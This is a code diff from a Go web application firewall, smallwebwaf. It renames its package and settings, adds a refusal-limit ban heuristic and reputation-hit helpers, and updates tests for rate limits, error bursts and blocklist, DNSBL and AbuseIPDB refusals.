rq.line.Counts = counts
if !over {
return nil
}
rq.banForLimit(now, hit, rq.h.config.BanResponse)
return &verdict{
action: requestlog.ActionClientIsRateLimited, figures: limitFigures(hit),
}
}
// overAWholeRateLimit reports whether the heuristic rate_limits will refuse the
// request at now, whatever its client's limit percentages: the rate limits
// count it, and one more request from its client takes it over a whole rate
// limit. It counts nothing.
func (rq *request) overAWholeRateLimit(now time.Time) bool {
return rq.countedByRateLimits() &&
rq.h.limiter.OverARateLimit(rq.h.clientGroup(rq.client), now)
}
// countedByRateLimits reports whether the rate limits count the request: its
// client is not in SWW_RATE_LIMIT_EXEMPT_NETS, and its path is not exempt
// under SWW_RATE_LIMIT_EXEMPT_PATHS.
func (rq *request) countedByRateLimits() bool {
cfg := rq.h.config
return !isInside(rq.client, cfg.RateLimitExemptNets) &&
!pathExempt(rq.in, cfg.RateLimitExemptPaths)
}
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"net/http" "net/http"
@@ -10,7 +10,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
) )
// minute is the window of SWWAF_RATE_LIMIT_PER_MINUTE, as a log line's // minute is the window of SWW_RATE_LIMIT_PER_MINUTE, as a log line's
// limit_hit names it. // limit_hit names it.
const minute = "minute" const minute = "minute"
@@ -59,7 +59,7 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
if sent.want == http.StatusOK { if sent.want == http.StatusOK {
wantLine(t, line, http.StatusOK, requestlog.ActionForward) wantLine(t, line, http.StatusOK, requestlog.ActionForward)
} else { } else {
wantLine(t, line, http.StatusForbidden, requestlog.ActionRateLimited) wantLine(t, line, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
if line.LimitHit != minute { if line.LimitHit != minute {
t.Errorf("log line has limit_hit %q, want minute", line.LimitHit) t.Errorf("log line has limit_hit %q, want minute", line.LimitHit)
@@ -72,10 +72,21 @@ func TestRateLimitRefusesBeforeTheApp(t *testing.T) {
} }
} }
func TestRateLimitRefusalNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel()
s, _, _ := startWithClock(t, "", map[string]string{rateLimitPerMinute: "1"})
s.get(client, http.StatusOK, requestlog.ActionForward)
line := s.get(client, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
wantHeuristic(t, line, "rate_limits", `{"window": "minute", "count": 2, "limit": 1}`)
}
func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) { func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
t.Parallel() t.Parallel()
// With SWWAF_IPV6_GROUP_PREFIX at 48, the first two addresses, in two // With SWW_IPV6_GROUP_PREFIX at 48, the first two addresses, in two
// /64s of one /48, are one client, and the second's request breaks the // /64s of one /48, are one client, and the second's request breaks the
// limit; the third, in the next /48, is another client. // limit; the third, in the next /48, is another client.
const ( const (
@@ -91,7 +102,7 @@ func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
status int status int
action string action string
}{ }{
{rateLimitPerMinute, "1", http.StatusForbidden, requestlog.ActionRateLimited}, {rateLimitPerMinute, "1", http.StatusForbidden, requestlog.ActionClientIsRateLimited},
{bytesLimitPerMinute, byteLimit, http.StatusOK, requestlog.ActionForward}, {bytesLimitPerMinute, byteLimit, http.StatusOK, requestlog.ActionForward},
} { } {
t.Run(tc.setting, func(t *testing.T) { t.Run(tc.setting, func(t *testing.T) {
@@ -118,14 +129,14 @@ func TestIPv6GroupPrefixSetsTheClientTheLimitsCount(t *testing.T) {
func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) { func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
t.Parallel() t.Parallel()
const denied = "192.0.2.50" // in SWWAF_DENY_NETS const denied = "192.0.2.50" // in SWW_DENY_NETS
geojsURL, _ := startGeoJS(t) geojsURL, _ := startGeoJS(t)
s, _, server := startWithClock(t, geojsURL, map[string]string{ s, _, server := startWithClock(t, geojsURL, map[string]string{
rateLimitPerMinute: "1", rateLimitPerMinute: "1",
rateLimitExemptPaths: "/assets/,/favicon.ico", rateLimitExemptPaths: "/assets/,/favicon.ico",
denyNets: denied, denyNets: denied,
deniedCountries: "kp", tagDeny: denyKP,
}) })
// The answers are kept before the requests, so that none waits for // The answers are kept before the requests, so that none waits for
@@ -149,14 +160,17 @@ func TestRateLimitExemptPathsAreNeitherCountedNorRefused(t *testing.T) {
// A path outside every prefix is counted: /assets is not under // A path outside every prefix is counted: /assets is not under
// /assets/, and breaks the limit. // /assets/, and breaks the limit.
s.request(client, "/assets", http.StatusForbidden, requestlog.ActionRateLimited) s.request(client, "/assets", http.StatusForbidden,
requestlog.ActionClientIsRateLimited)
// A ban, SWWAF_DENY_NETS and the country lists still refuse a path // A ban, SWW_DENY_NETS and SWW_TAG_DENY still refuse a path under a
// under a prefix. // prefix.
s.request(client, "/assets/app.js", http.StatusForbidden, requestlog.ActionBanned) s.request(client, "/assets/app.js", http.StatusForbidden,
s.request(denied, "/assets/app.js", http.StatusForbidden, requestlog.ActionDenied) requestlog.ActionTemporarilyBanned)
s.request(denied, "/assets/app.js", http.StatusForbidden,
requestlog.ActionClientDenied)
s.request(fromKP, "/assets/app.js", s.request(fromKP, "/assets/app.js",
http.StatusForbidden, requestlog.ActionCountryDenied) http.StatusForbidden, requestlog.ActionClientDenied)
} }
func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) { func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
@@ -200,7 +214,7 @@ func TestRateLimitCountsPathsThatAreNotExempt(t *testing.T) {
// Counted, the second request breaks the limit of one request // Counted, the second request breaks the limit of one request
// a minute. // a minute.
s.request(client, sent, http.StatusOK, requestlog.ActionForward) s.request(client, sent, http.StatusOK, requestlog.ActionForward)
s.request(client, sent, http.StatusForbidden, requestlog.ActionRateLimited) s.request(client, sent, http.StatusForbidden, requestlog.ActionClientIsRateLimited)
}) })
} }
} }
+54
View File
@@ -0,0 +1,54 @@
package discriminator
// The heuristic refusal_limit. It reads SWW_ERROR_BURST_THRESHOLD and
// SWW_BAN_RESPONSE.
import (
"context"
"net/http"
"time"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// refusalLimit counts the request once it has been answered, if discriminator
// refused it after a rule file match, a trap path or a Core Rule Set match, and
// in observe mode if enforce mode would have: more than
// SWW_ERROR_BURST_THRESHOLD such refusals of the client within a minute break
// a limit, which bans the client. A client in SWW_ALLOW_NETS, which the
// heuristics skip, is not counted, and nothing is while the threshold is off.
// Its figures are the window, the count and the limit.
type refusalLimit struct{}
func (refusalLimit) name() string { return "refusal_limit" }
func (refusalLimit) check(_ context.Context, rq *request, now time.Time) *verdict {
cfg := rq.h.config
if cfg.ErrorBurstThreshold == 0 {
return nil
}
if !rq.attack && !rq.blockedByBlockRule && !rq.blockedByCoreRuleSet {
return nil
}
hit, over := rq.h.limiter.CountRefusal(rq.h.clientGroup(rq.client), now,
cfg.ErrorBurstThreshold)
if !over {
return nil
}
// What the client was sent, or in observe mode would have been.
status := rq.out.status
switch rq.line.WouldAction {
case requestlog.ActionBlockedByBlockRule, requestlog.ActionBlockedByCoreRuleSet:
status = http.StatusForbidden
case requestlog.ActionTemporarilyBanned, requestlog.ActionPermanentlyBanned:
status = cfg.BanResponse
}
rq.banForLimit(now, hit, status)
return &verdict{figures: limitFigures(hit)}
}
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"maps" "maps"
@@ -10,14 +10,14 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
const errorBurstThreshold = "SWWAF_ERROR_BURST_THRESHOLD" const errorBurstThreshold = "SWW_ERROR_BURST_THRESHOLD"
// refused is a request the tests here send, which servewaf refuses after a rule // refused is a request the tests here send, which discriminator refuses after a rule
// file match. // file match.
type refused int type refused int
@@ -37,9 +37,10 @@ func (r refused) send(s *sender, from string) logLine {
switch r { switch r {
case blockRule: case blockRule:
return s.request(from, blockedPath, http.StatusForbidden, return s.request(from, blockedPath, http.StatusForbidden,
requestlog.ActionRuleBlocked) requestlog.ActionBlockedByBlockRule)
case banRule: case banRule:
return s.request(from, probePath, http.StatusForbidden, requestlog.ActionBanned) return s.request(from, probePath, http.StatusForbidden,
requestlog.ActionTemporarilyBanned)
} }
s.t.Fatalf("no request for the refusal %d", r) s.t.Fatalf("no request for the refusal %d", r)
@@ -48,10 +49,10 @@ func (r refused) send(s *sender, from string) logLine {
} }
// startForErrorBurst is startWithClock with testRules, the metrics token and // startForErrorBurst is startWithClock with testRules, the metrics token and
// SWWAF_ERROR_BURST_THRESHOLD at threshold, and the settings in env. // SWW_ERROR_BURST_THRESHOLD at threshold, and the settings in env.
func startForErrorBurst( func startForErrorBurst(
t *testing.T, threshold string, env map[string]string, t *testing.T, threshold string, env map[string]string,
) (*sender, *clock, *servewaf.Server) { ) (*sender, *clock, *discriminator.Server) {
t.Helper() t.Helper()
settings := map[string]string{ settings := map[string]string{
@@ -71,9 +72,20 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
name string name string
// refusals are four, one over the threshold of three. // refusals are four, one over the threshold of three.
refusals []refused refusals []refused
// nextAction is the action of the client's next request: the next
// request after a ban for a ban rule makes it permanent.
nextAction string
}{ }{
{"block rule", []refused{blockRule, blockRule, blockRule, blockRule}}, {
{"a ban rule last", []refused{blockRule, blockRule, blockRule, banRule}}, "block rule",
[]refused{blockRule, blockRule, blockRule, blockRule},
requestlog.ActionTemporarilyBanned,
},
{
"a ban rule last",
[]refused{blockRule, blockRule, blockRule, banRule},
requestlog.ActionPermanentlyBanned,
},
} { } {
t.Run(tc.name, func(t *testing.T) { t.Run(tc.name, func(t *testing.T) {
t.Parallel() t.Parallel()
@@ -95,17 +107,36 @@ func TestErrorBurstBreaksAtOneOverTheThreshold(t *testing.T) {
// The fourth is answered as the others were, breaks the error // The fourth is answered as the others were, breaks the error
// burst, and bans the client. // burst, and bans the client.
line := tc.refusals[3].send(s, client) line := tc.refusals[3].send(s, client)
if line.LimitHit != requestlog.LimitHitErrorBurst || if line.LimitHit != requestlog.LimitHitMinuteRefusals ||
line.Offence != requestlog.OffenceLimit { line.Offence != requestlog.OffenceLimit {
t.Errorf("log line has limit_hit %q and offence %q, want error_burst "+ t.Errorf("log line has limit_hit %q and offence %q, want minute_refusals "+
"and limit", line.LimitHit, line.Offence) "and limit", line.LimitHit, line.Offence)
} }
s.get(client, http.StatusForbidden, requestlog.ActionBanned) s.get(client, http.StatusForbidden, tc.nextAction)
}) })
} }
} }
func TestRefusalLimitBanNamesItsHeuristicWindowCountAndLimit(t *testing.T) {
t.Parallel()
s, _, _ := startForErrorBurst(t, "1", nil)
const ruleFigures = `{"rule_id": "blocked", "rule_action": "block"}`
line := blockRule.send(s, client)
wantHeuristic(t, line, "rule_files", ruleFigures)
wantAfterAnswerHeuristic(t, line, "", "null")
// The second refusal is the request refusal_limit bans for, and the line
// names both.
line = blockRule.send(s, client)
wantHeuristic(t, line, "rule_files", ruleFigures)
wantAfterAnswerHeuristic(t, line, "refusal_limit",
`{"window": "minute", "count": 2, "limit": 1}`)
}
func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) { func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
t.Parallel() t.Parallel()
@@ -150,18 +181,18 @@ func TestErrorBurstBanNotesHistoryAndMetrics(t *testing.T) {
t.Fatalf("bans\n%+v\nwant\n%+v", got, want) t.Fatalf("bans\n%+v\nwant\n%+v", got, want)
} }
wantOffences := ratelimit.Offences{Limit: 1, RuleBlocked: 3} wantOffences := ratelimit.Offences{Limit: 1, BlockedByBlockRule: 3}
if offences := historyOf(t, server, client).Offences; offences != wantOffences { if offences := historyOf(t, server, client).Offences; offences != wantOffences {
t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences) t.Errorf("history counts the offences %+v, want %+v", offences, wantOffences)
} }
metrics := s.scrape() metrics := s.scrape()
wantMetric(t, metrics, `smallwebwaf_rate_limit_hits_total{instance="app",`+ wantMetric(t, metrics, `sww_rate_limit_hits_total{instance="app",`+
`kind="refusals",window="minute"}`, 1) `kind="refusals",window="minute"}`, 1)
wantMetric(t, metrics, `smallwebwaf_offences_total{instance="app",kind="limit"}`, 1) wantMetric(t, metrics, `sww_offences_total{instance="app",kind="limit"}`, 1)
wantMetric(t, metrics, wantMetric(t, metrics,
`smallwebwaf_offences_total{instance="app",kind="rule_blocked"}`, 3) `sww_offences_total{instance="app",kind="blocked_by_block_rule"}`, 3)
wantMetric(t, metrics, `smallwebwaf_bans_made_total{cause="limit",instance="app"}`, 1) wantMetric(t, metrics, `sww_bans_made_total{cause="limit",instance="app"}`, 1)
} }
func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) { func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
@@ -172,7 +203,7 @@ func TestErrorBurstIsNotLoweredForAClientWithLowerLimits(t *testing.T) {
lookupTimeout: "1h", lookupTimeout: "1h",
errorBurstThreshold: "2", errorBurstThreshold: "2",
rulesDir: writeRules(t, testRules), rulesDir: writeRules(t, testRules),
countryLimitPercent: countryDEHalf, tagLimitPercent: countryTagDEHalf,
}) })
// Half of the threshold would be one, which the second refusal is over. // Half of the threshold would be one, which the second refusal is over.
@@ -246,7 +277,8 @@ func TestErrorBurstOffOrAtItsDefault(t *testing.T) {
line = blockRule.send(s, client) line = blockRule.send(s, client)
} }
if broken := line.LimitHit == requestlog.LimitHitErrorBurst; broken != tc.broken { broken := line.LimitHit == requestlog.LimitHitMinuteRefusals
if broken != tc.broken {
t.Errorf("the 31st refusal broke the error burst: %t, want %t", t.Errorf("the 31st refusal broke the error burst: %t, want %t",
broken, tc.broken) broken, tc.broken)
} }
@@ -258,15 +290,15 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
t.Parallel() t.Parallel()
const ( const (
allowed = "192.0.2.60" // in SWWAF_ALLOW_NETS allowed = "192.0.2.60" // in SWW_ALLOW_NETS
exempt = "192.0.2.50" // in SWWAF_RATE_LIMIT_EXEMPT_NETS exempt = "192.0.2.50" // in SWW_RATE_LIMIT_EXEMPT_NETS
) )
s, _, _ := startForErrorBurst(t, "1", map[string]string{ s, _, _ := startForErrorBurst(t, "1", map[string]string{
allowNets: allowed, rateLimitExemptNets: exempt, allowNets: allowed, rateLimitExemptNets: exempt,
}) })
// A client in SWWAF_ALLOW_NETS is not refused, and so not counted. // A client in SWW_ALLOW_NETS is not refused, and so not counted.
for range 3 { for range 3 {
s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward) s.request(allowed, blockedPath, http.StatusOK, requestlog.ActionForward)
} }
@@ -275,11 +307,11 @@ func TestErrorBurstCountsEachClientTheChecksApplyTo(t *testing.T) {
blockRule.send(s, exempt) blockRule.send(s, exempt)
line := blockRule.send(s, exempt) line := blockRule.send(s, exempt)
if line.LimitHit != requestlog.LimitHitErrorBurst { if line.LimitHit != requestlog.LimitHitMinuteRefusals {
t.Errorf("log line has limit_hit %q, want error_burst", line.LimitHit) t.Errorf("log line has limit_hit %q, want minute_refusals", line.LimitHit)
} }
s.get(exempt, http.StatusForbidden, requestlog.ActionBanned) s.get(exempt, http.StatusForbidden, requestlog.ActionTemporarilyBanned)
} }
func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) { func TestErrorBurstBanSetsTheRefusalsBackToZero(t *testing.T) {
@@ -322,7 +354,7 @@ func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
for range 2 { for range 2 {
line := s.request(otherClient, blockedPath, http.StatusOK, line := s.request(otherClient, blockedPath, http.StatusOK,
requestlog.ActionForward) requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionBanned) wantWouldAction(t, line, requestlog.ActionTemporarilyBanned)
if line.LimitHit != "" { if line.LimitHit != "" {
t.Errorf("log line has limit_hit %q, want none", line.LimitHit) t.Errorf("log line has limit_hit %q, want none", line.LimitHit)
@@ -334,10 +366,10 @@ func TestObserveModeLogsAndAlertsTheErrorBurst(t *testing.T) {
s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward) s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward) line := s.request(client, blockedPath, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionRuleBlocked) wantWouldAction(t, line, requestlog.ActionBlockedByBlockRule)
if line.LimitHit != requestlog.LimitHitErrorBurst || line.BanExpires != "" { if line.LimitHit != requestlog.LimitHitMinuteRefusals || line.BanExpires != "" {
t.Errorf("log line has limit_hit %q and ban_expires %q, want error_burst "+ t.Errorf("log line has limit_hit %q and ban_expires %q, want minute_refusals "+
"and none", line.LimitHit, line.BanExpires) "and none", line.LimitHit, line.BanExpires)
} }
+48
View File
@@ -0,0 +1,48 @@
package discriminator
// What the reputation heuristics share: blocklists, crowdsec, dnsbl and
// abuseipdb.
import (
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans"
)
// deny is the SWW_BLOCKLIST_ACTION and the SWW_REPUTATION_ACTION that
// refuses the requests of a client a source lists.
const deny = "deny"
// noteListed notes each of sources, the URLs of the blocklists or the
// DNSBL zones, their keys masked, that list the client, as noteHit does,
// with reason.
func (rq *request) noteListed(sources []string, reason string) {
for _, source := range sources {
rq.noteHit(bans.ReputationHit{Source: source}, reason)
}
}
// noteHit adds hit's source, which lists the client, to the log line's
// reputation, and hit to the notes of a ban the request makes, counts the
// source in the metrics, and raises a reputation_hit alert with reason,
// whose detail gives hit's source and score.
func (rq *request) noteHit(hit bans.ReputationHit, reason string) {
detail := map[string]any{"source": hit.Source}
if hit.Score != nil {
detail["score"] = *hit.Score
}
rq.line.Reputation = append(rq.line.Reputation, hit.Source)
rq.reputation = append(rq.reputation, hit)
rq.h.metrics.ReputationHit(hit.Source)
rq.h.alerts.Raise(alerts.Alert{
Event: alerts.EventReputationHit,
Host: rq.site,
Client: rq.client,
Netblock: rq.h.clientGroup(rq.client),
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: reason,
Detail: detail,
})
}
@@ -1,4 +1,4 @@
package servewaf_test package discriminator_test
import ( import (
"fmt" "fmt"
@@ -15,20 +15,20 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts" "sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/bans" "sneak.berlin/go/smallwebwaf/internal/bans"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/ratelimit" "sneak.berlin/go/smallwebwaf/internal/ratelimit"
"sneak.berlin/go/smallwebwaf/internal/reputation" "sneak.berlin/go/smallwebwaf/internal/reputation"
"sneak.berlin/go/smallwebwaf/internal/requestlog" "sneak.berlin/go/smallwebwaf/internal/requestlog"
"sneak.berlin/go/smallwebwaf/internal/servewaf"
) )
// The reputation settings. // The reputation settings.
const ( const (
blocklistURLs = "SWWAF_BLOCKLIST_URLS" blocklistURLs = "SWW_BLOCKLIST_URLS"
blocklistAction = "SWWAF_BLOCKLIST_ACTION" blocklistAction = "SWW_BLOCKLIST_ACTION"
asnLimitPercentURL = "SWWAF_ASN_LIMIT_PERCENT_URL" asnLimitPercentURL = "SWW_ASN_LIMIT_PERCENT_URL"
) )
// The actions of SWWAF_BLOCKLIST_ACTION and SWWAF_REPUTATION_ACTION: // The actions of SWW_BLOCKLIST_ACTION and SWW_REPUTATION_ACTION:
// limitHalf gives a listed client half of every limit, and limitQuarter a // limitHalf gives a listed client half of every limit, and limitQuarter a
// quarter. // quarter.
const ( const (
@@ -49,12 +49,12 @@ const (
func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) { func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) {
t.Parallel() t.Parallel()
forward, denied := requestlog.ActionForward, requestlog.ActionDenied forward, denied := requestlog.ActionForward, requestlog.ActionClientDenied
for _, tc := range []struct { for _, tc := range []struct {
action string action string
// statuses and actions are those of a listed client's three // statuses and actions are those of a listed client's three
// requests, and percent their limit_percent, as percentText gives it. // requests, and percent their rate_limit_percent, as percentText gives it.
statuses []int statuses []int
actions []string actions []string
percent string percent string
@@ -66,7 +66,7 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) {
{ {
// Half of 4 requests a minute: the third breaks the limit. // Half of 4 requests a minute: the third breaks the limit.
limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden}, limitHalf, []int{http.StatusOK, http.StatusOK, http.StatusForbidden},
[]string{forward, forward, requestlog.ActionRateLimited}, []string{forward, forward, requestlog.ActionClientIsRateLimited},
"50 from " + blocklistAction, "50 from " + blocklistAction,
}, },
{ {
@@ -90,8 +90,8 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) {
for i := range 3 { for i := range 3 {
line := s.get(from, tc.statuses[i], tc.actions[i]) line := s.get(from, tc.statuses[i], tc.actions[i])
wantReputation(t, line, dropURL) wantReputation(t, line, dropURL)
wantPercent(t, "limit_percent", line.LimitPercent, wantPercent(t, "rate_limit_percent", line.RateLimitPercent,
line.LimitPercentSetting, tc.percent) line.RateLimitPercentSetting, tc.percent)
// A request refused for the list is not counted. // A request refused for the list is not counted.
counted := line.fields["counts"] != nil counted := line.fields["counts"] != nil
@@ -106,7 +106,8 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) {
for range 3 { for range 3 {
line := s.get(unplaced, http.StatusOK, forward) line := s.get(unplaced, http.StatusOK, forward)
wantReputation(t, line) wantReputation(t, line)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
none) none)
} }
@@ -118,16 +119,66 @@ func TestEachBlocklistActionForAListedAddressAndAListedNetblock(t *testing.T) {
} }
} }
func TestBlocklistsComeAfterTheCountryListsAndSkipAllowNets(t *testing.T) { func TestReputationRefusalNamesItsHeuristicAndWhatListedTheClient(t *testing.T) {
t.Parallel()
for _, tc := range []struct {
heuristic string
env map[string]string
load func(*testing.T, *discriminator.Server)
figures string
}{
{
"blocklists",
map[string]string{blocklistURLs: dropURL, blocklistAction: actionDeny},
func(t *testing.T, server *discriminator.Server) {
t.Helper()
loadLists(t, server, map[string][]string{dropURL: {client}})
},
`{"lists": ["` + dropURL + `"]}`,
},
{
"dnsbl",
map[string]string{
dnsblZones: dnsblZone, dnsblResolver: noResolver,
reputationAction: actionDeny,
},
func(_ *testing.T, server *discriminator.Server) {
loadVerdicts(server, map[string][]string{client: {dnsblZone}})
},
`{"zones": ["` + dnsblZone + `"]}`,
},
{
"abuseipdb",
map[string]string{abuseIPDBKey: accountKey, reputationAction: actionDeny},
func(_ *testing.T, server *discriminator.Server) {
loadScores(server, map[string]int64{client: 80})
},
`{"score": 80, "min_score": 75}`,
},
} {
t.Run(tc.heuristic, func(t *testing.T) {
t.Parallel()
s, server, _ := startWithLookups(t, tc.env)
tc.load(t, server)
line := s.get(client, http.StatusForbidden, requestlog.ActionClientDenied)
wantHeuristic(t, line, tc.heuristic, tc.figures)
})
}
}
func TestBlocklistsComeAfterAllowedCountriesAndSkipAllowNets(t *testing.T) {
t.Parallel() t.Parallel()
s, server, queue := startWithLookups(t, map[string]string{ s, server, queue := startWithLookups(t, map[string]string{
blocklistURLs: dropURL, deniedCountries: "kp", allowNets: fromDE, blocklistURLs: dropURL, allowedCountries: "de", allowNets: fromDE,
}) })
loadLists(t, server, map[string][]string{dropURL: {fromDE, fromKP}}) loadLists(t, server, map[string][]string{dropURL: {fromDE, fromKP}})
// fromKP's country refuses it before the list is looked at, and fromDE, // fromKP's country refuses it before the list is looked at, and fromDE,
// in SWWAF_ALLOW_NETS, is not checked at all: neither is noted, nor // in SWW_ALLOW_NETS, is not checked at all: neither is noted, nor
// alerted. // alerted.
wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)) wantReputation(t, s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied))
wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward)) wantReputation(t, s.get(fromDE, http.StatusOK, requestlog.ActionForward))
@@ -143,7 +194,7 @@ func TestObserveModeForwardsAClientABlocklistDeniesAndAlertsIt(t *testing.T) {
loadLists(t, server, map[string][]string{dropURL: {fromDE}}) loadLists(t, server, map[string][]string{dropURL: {fromDE}})
line := s.get(fromDE, http.StatusOK, requestlog.ActionForward) line := s.get(fromDE, http.StatusOK, requestlog.ActionForward)
wantWouldAction(t, line, requestlog.ActionDenied) wantWouldAction(t, line, requestlog.ActionClientDenied)
wantReputation(t, line, dropURL) wantReputation(t, line, dropURL)
waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook] waiting := queue.Snapshot().Waiting[alerts.DestinationWebhook]
@@ -157,31 +208,33 @@ func TestBlocklistLimitTakesPartInTheLowestPercentageOfEveryLimit(t *testing.T)
for _, tc := range []struct { for _, tc := range []struct {
action, asnPercent string action, asnPercent string
// want is the upload's limit_percent and bytes_percent, as // want is the upload's rate_limit_percent and bytes_limit_percent, as
// percentText gives them, and limitHit its limit_hit. // percentText gives them, and limitHit its limit_hit.
want, limitHit string want, limitHit string
}{ }{
{limitHalf, asnDEQuarter, "25 from " + asnLimitPercent, minuteBytes}, {limitHalf, asnTagDEQuarter, "25 from " + tagLimitPercent, minuteBytes},
{limitQuarter, asnDEHalf, "25 from " + blocklistAction, minuteBytes}, {limitQuarter, asnTagDEHalf, "25 from " + blocklistAction, minuteBytes},
// The AS number's, the first of two alike. // The AS number's, the first of two alike.
{limitQuarter, asnDEQuarter, "25 from " + asnLimitPercent, minuteBytes}, {limitQuarter, asnTagDEQuarter, "25 from " + tagLimitPercent, minuteBytes},
{actionLog, asnDE + ":100", none, ""}, {actionLog, "asn=64511:25", none, ""},
} { } {
t.Run(tc.action+" "+tc.asnPercent, func(t *testing.T) { t.Run(tc.action+" "+tc.asnPercent, func(t *testing.T) {
t.Parallel() t.Parallel()
s, server, _ := startWithLookups(t, map[string]string{ s, server, _ := startWithLookups(t, map[string]string{
bytesLimitPerMinute: twoUploads, blocklistURLs: dropURL, bytesLimitPerMinute: twoUploads, blocklistURLs: dropURL,
blocklistAction: tc.action, asnLimitPercent: tc.asnPercent, blocklistAction: tc.action, tagLimitPercent: tc.asnPercent,
}) })
loadLists(t, server, map[string][]string{dropURL: {fromDE}}) loadLists(t, server, map[string][]string{dropURL: {fromDE}})
// The upload's 100 bytes are over 49, a quarter of 199, and 99, // The upload's 100 bytes are over 49, a quarter of 199, and 99,
// half of it, and within 199. // half of it, and within 199.
line := s.uploadFrom(fromDE) line := s.uploadFrom(fromDE)
wantPercent(t, "limit_percent", line.LimitPercent, line.LimitPercentSetting, wantPercent(t, "rate_limit_percent",
line.RateLimitPercent, line.RateLimitPercentSetting,
tc.want) tc.want)
wantPercent(t, "bytes_percent", line.BytesPercent, line.BytesPercentSetting, wantPercent(t, "bytes_limit_percent",
line.BytesLimitPercent, line.BytesLimitPercentSetting,
tc.want) tc.want)
if line.LimitHit != tc.limitHit { if line.LimitHit != tc.limitHit {
@@ -196,35 +249,35 @@ func TestASNLimitPercentFileCountsAsTheSettingDoesTheLowerWinning(t *testing.T)
const ( const (
fromURL = "25 from " + asnLimitPercentURL fromURL = "25 from " + asnLimitPercentURL
fromSetting = "25 from " + asnLimitPercent fromSetting = "25 from " + tagLimitPercent
) )
for _, tc := range []struct { for _, tc := range []struct {
name string name string
env map[string]string env map[string]string
file string file string
// limitPercent and bytesPercent are the upload's, as percentText // rateLimitPercent and bytesLimitPercent are the upload's, as
// gives them. // percentText gives them.
limitPercent, bytesPercent string rateLimitPercent, bytesLimitPercent string
}{ }{
{"the file's alone", nil, asnDEQuarter, fromURL, fromURL}, {"the file's alone", nil, asnDEQuarter, fromURL, fromURL},
{ {
"the file's, lower than the setting's", "the file's, lower than the setting's",
map[string]string{asnLimitPercent: asnDEHalf}, asnDEQuarter, fromURL, fromURL, map[string]string{tagLimitPercent: asnTagDEHalf}, asnDEQuarter, fromURL, fromURL,
}, },
{ {
"the setting's, lower than the file's", "the setting's, lower than the file's",
map[string]string{asnLimitPercent: asnDEQuarter}, asnDEHalf, map[string]string{tagLimitPercent: asnTagDEQuarter}, asnDEHalf,
fromSetting, fromSetting, fromSetting, fromSetting,
}, },
{ {
"the setting's, the first of two alike", "the setting's, the first of two alike",
map[string]string{asnLimitPercent: asnDEQuarter}, asnDEQuarter, map[string]string{tagLimitPercent: asnTagDEQuarter}, asnDEQuarter,
fromSetting, fromSetting, fromSetting, fromSetting,
}, },
{"none, for an AS number the file does not list", nil, asnKP + ":25", none, none}, {"none, for an AS number the file does not list", nil, asnKP + ":25", none, none},
{ {
"SWWAF_ASN_BYTES_PERCENT's in place of the file's for the byte limits", "SWW_ASN_BYTES_PERCENT's in place of the file's for the byte limits",
